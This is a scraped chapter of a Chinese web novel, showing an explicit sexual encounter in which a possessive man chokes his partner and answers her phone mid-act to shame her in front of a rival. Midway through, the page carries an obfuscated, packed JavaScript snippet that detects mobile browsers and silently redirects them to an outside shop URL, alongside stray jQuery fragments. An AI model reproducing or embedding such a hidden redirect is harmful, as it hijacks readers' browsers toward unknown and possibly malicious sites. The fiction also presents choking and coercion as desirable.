文趣网 > 都市小说 > 冷烧 > 3. 第 3 章
    -

    宋郁澜的公寓在宾城最繁华的地带。

    一百多层的楼层,光是坐电梯就要坐几分钟。

    宋郁澜的忍耐力达到了极限。

    几乎是刚进门,岑意的裙子就掉到了脚踝。

    “赫斯特……”

    女孩的声音被更大的浪声掩住,她记不得自己是怎么从玄关到的餐厅。

    冰凉又滚烫的大理石岛台上,她轻踩着宋郁澜的肩膀,绵软无力地想推开他。

    无果。

    她又叫了几遍他的名字。

    一丝理智让宋郁澜抬起头,下巴搁在她的腿上,表情玩味:“叫我中文名。”

    “宋郁澜。”岑意扭过头,不去看宋郁澜的脸,巨大的羞耻感快要将她吞没,她的声音细微温吞:“洗澡,先去洗澡。”

    岑意在这方面有些洁癖,每次一定要洗完澡才肯做。

    单人公寓,落地四百平米,空旷得任何声音都能在里面走两圈。

    最深处的房间断断续续流出岑意的声音,哪怕再强大的意志力,落到宋郁澜手里也遭不住。

    不同于公寓其他空间简约的陈设,这里的装修陈列倒是繁复了些许。

    哑光冷色调干净利落,下嵌式的浴池足足够岑意在里面游几个来回。

    让岑意接受不了的,是浴池背靠着整整一面落地窗,从这里能将整个宾城尽收眼底,霓虹街道,钢铁大厦。

    这里充分体现出宋郁澜的恶-俗趣味。

    尽管岑意知道这里都是单面镜,从外面看不到里面的光景,更何况这是里一百四十三层。

    岑意的羞-耻心依旧会被宋郁澜点燃、焚烧殆尽。

    面前是冰凉的玻璃,背后是炙热的温度。

    氤氲水雾弥漫,岑意进退两难。

    岑意整个人瑟缩在宋郁澜宽大有劲的掌中颤抖。

    明明说好先洗澡的,混乱之间岑意也不知道怎么就做起来了。

    岑意被蒸腾得浑身粉红,眼尾泛着泪光,她的哭声很克制,宋郁澜将助听器拧了拧,认真品味其中的欢愉。

    可不知怎的,刚才在学校的画面又在脑中再度上演,岑意的笑脸一遍遍从他眼前划过,这些都是他不曾见过的。

    她只会在他面前哭。

    宋郁澜压着气,反手握着她脆弱的脖颈,岑意被迫仰着脑袋,他居高临下地跟她对视:“不准哭。”

    “不是你说很喜欢这种姿-势,高兴的时候要笑。”

    理智溃散,岑意红着眼晕乎乎地挣扎,拼命咬住嘴唇。

    强压住的哭声不知又触动了宋郁澜这个神经的哪根神经,他依旧不肯放过她。

    “疼,疼…宋郁澜…”岑意趴在玻璃上,声线止不住地颤抖破碎。

    “那为什么刚才笑得这么高兴。”宋郁澜说得轻飘飘,力气倒是一点没收敛。

    “我猜猜啊。”宋郁澜慢慢收紧脖子上的手,“乖乖是想家了?”

    宋郁澜的话瞬间击中岑意的心脏。

    今天和程逐的聊天让岑意想起很多以前的事。

    她的确有毕业回国的想法,只是一直没告诉宋郁澜。

    她总有种没由来的不好的预感,这件事不能告诉他,至少不能这么早告诉他。

    何况这是她自己的事情,等彻底和宋郁澜两清了,她就会开始着手准备回国的事情。

    他怎么知道的?

    可岑意出不了声。

    “我陪你回家,好不好?”

    宋郁澜凑到岑意耳边自顾自地说。

    很奇怪,明明他泡在热水里,明明他吻过她最滚烫的地方,可他的嘴唇却是冰凉的,让岑意战栗。

    她是能屈能伸的。

    眼下拒绝并不会让她有好果子吃。

    岑意拼命点头:“好…”

    宋郁澜松手,岑意绵软无力地往下滑,宋郁澜跟着她一起滑进浴池里,从后面抱住她,下巴搁在她的颈窝里,整个人忽然安静住了。

    刚享受了片刻的宁静,一阵电话铃响起。

    是岑意的手机。

    手机本该安静躺在玄关的,是宋郁澜折回去拿的。

    非逼着岑意把没回他的信息当着他的面回了。

    这个点打给她的,她也说不出会是谁。

    可能是汉娜,忙完回来找不到她。

    “不接吗?”宋郁澜的声音从后面传来。

    她知道宋郁澜不喜欢被打扰,于是也没打算管,下沉埋进热水里:“应该是室友,晚点我给她发短信就行。”

    “所以今天在舞会上看见我的电话,你也是这么想的?”水雾之中,宋郁澜的眼眸极亮,嘴角噙着冷笑。

    岑意跟不上宋郁澜的脑回路,只下意识地否定。

    宋郁澜咬她的耳垂,声音沾着水汽,听不真切:“你真的很爱撒谎。”

    电话声停下,岑意松了口气,知道以宋郁澜的脾气,指不定又要在这事上做文章,正想和他好好掰扯掰扯。

    电话声再度响起。

    不及岑意反应,宋郁澜啧了声,长臂一伸去拿手机。

    待看清来电显示,宋郁澜冷笑一声。

    岑意的心又一次沉底。

    程逐。

    宋郁澜抬手就要摁下接听键,岑意忽然抓住他的手:“别接,我跟他真没什么关系,不要。”

    哪有人这种时候接电话的。

    宋郁澜又要发什么疯。

    “乖乖是怕他知道我们的关系吗了……”

    “这样以后就不能一起回中国了吗?”

    怎么又绕到这件事上了?

    “我没有。”

    “那你怕什么。”

    话音刚落,电话已经被接通。

    岑意瞬间捂住嘴。

    电话那头传来一道男声。

    “抱歉这么晚给你打电话,我给你发了很多短信,但你没回。”

    “今天聊到的那部老片子,明天学校附近的影院正在重映,要不要一起去看?”

    男生的声音明显打飘,听上去有些轻浮。

    岑意在心里呐喊,让他赶紧闭嘴。

    她想伸手去挂电话,但宋郁澜拿得很远,她够不到,只能无声去抓他的胳膊。

    数道红痕在宋郁澜的臂膀上浮起,宋郁澜不怒反笑。

    程逐迟迟没听见岑意的声音,却听到男人的笑。

    他谨慎问道:“小意,你那边是有其他人吗?”

    岑意连忙道:“没有!没有人!”

    宋郁澜忽然关了话筒,将岑意翻了个半个身,他捏住她的下巴,冰冷的嘴唇细密擦过她的侧脸。

    “没有关系……”宋郁澜尾调拖长,像是在细细咂摸岑意先前那句话,“只是能一起去看电影的关系吗?”

    岑意不敢躲,弱弱道:“我不可能答应他的。”

    “那你告诉他,我们是什么关系。”

    岑意害怕,但还是大着胆子说:“我们不是说好了,不告诉任何人…”

    “我反悔了。”

    宋郁澜声线里带着蛊惑,像是让人沦陷的罂粟,要将岑意拉入无人之境。

    “告诉他,你现在跟谁在一起。”

    “这么爽,又是因为谁。”

    岑意经不住这样的折磨,意识支离破碎,呜咽不成调:“对不起,我知道错了……”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830699|211313||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “你不像是知道错的样子。”

    水汽旖旎,宋郁澜缓缓起身,半身没入水中,水汽将他额前的棕发打湿,人鱼线若隐若现。

    岑意向前游了两步,双手箍住宋郁澜健劲的腰肢,脸颊贴上他坚实的胸肌,喃喃说道:“我真的知道错了。”

    惯骗的道歉不足以让人信服: “你总是这样,犯了错只会哭。”

    “这就是你的讨好,你觉得我很好骗?”

    岑意心一横。

    “继续好不好……”

    “我只想跟你回家。”

    在哄宋郁澜这方面,岑意颇有心得。

    她明白他们只是最单纯的床伴关系。

    想少了矫情,想多了越界。

    宋郁澜也不是第一次这样。

    有时岑意也很好奇,他过于越界的占有欲源于什么。

    但岑意最后都将宋郁澜的所作所为归结于他的幼稚,和极致的精神洁癖。

    也是岑意偶然间听到的。

    那天奥利弗来宋郁澜的公寓给他送文件,当时岑意正在房间里躺着。

    屋外的动静听得一清二楚——

    奥利弗送完文件没立刻走,炫耀似地给宋郁澜看家里小猫的照片,说它最近吃得很多,拉得也很多,很粘人,他一走远就要喵喵叫。

    半点花花公子的样子都没有,活脱像个慈祥的老父亲。

    奥利弗的猫岑意有点印象。

    奥利弗很喜欢发社交媒体,哪怕岑意没有关注过他,也偶尔会刷到。

    那只猫叫小A,一只大白发面馒头,经常会出现在奥利弗的社交媒体上,是只名副其实的网红猫猫,年纪很大了,喜欢懒洋洋地趴着晒太阳。

    宋郁澜不喜欢动物,甚至可以说得上是厌恶。

    听罢,他毫无波澜地说:“这么多年了,还活着。”

    “不要诅咒我的猫!”意识到什么,奥利弗贱兮兮地靠在沙发上,“不是吧,这么多年了,还没过去啊。”

    “是你先不要人家的。”

    两个人断断续续聊了一会儿,岑意也拼凑出故事的原委。

    小A是宋郁澜小时候捡到的。

    猫是很敏感的动物,不会轻易让人类摸它们的肚皮,尤其是流浪猫。

    但宋郁澜的这只猫格外喜欢对他撒娇,翻肚皮。

    可惜,他发现小A其实只是单纯自来熟,不怕人。

    在他发现小A更喜欢粘着奥利弗后,宋郁澜毫不留情地将猫送给了奥利弗。

    奥利弗一养就是十年。

    每次奥利弗跟他讲小A的近况,宋郁澜都会一通冷嘲热讽。

    宋郁澜憎恶背叛。

    哪怕是只猫。

    这次也不例外。

    或许在宋郁澜这里,忠诚也是他床伴需要具备的良好品德。

    如果说两句好听的就能哄好他,还能让自己少吃点苦头,岑意当然愿意。

    但实际上,岑意并不擅长甜言蜜语。

    更不会像宋郁澜一样,每次都能说些让她想钻地缝的下-流话。

    她的情话干巴巴的。

    好在受用。

    陡然间,一声扑通。

    还在不停说话的程逐,连同手机一起掉进了水池里。

    世界瞬间陷入诡异的安静。

    岑意看着溅起的小小水花。

    肉疼,但又不敢骂他。

    宋郁澜语气冷淡,说出口的话却让人头皮发麻。

    “Lovely,”他步步逼近,“乖乖是想被我社-满吗?”

    “如果满了,也不能流出来。”

    “出来了,会有惩罚的。”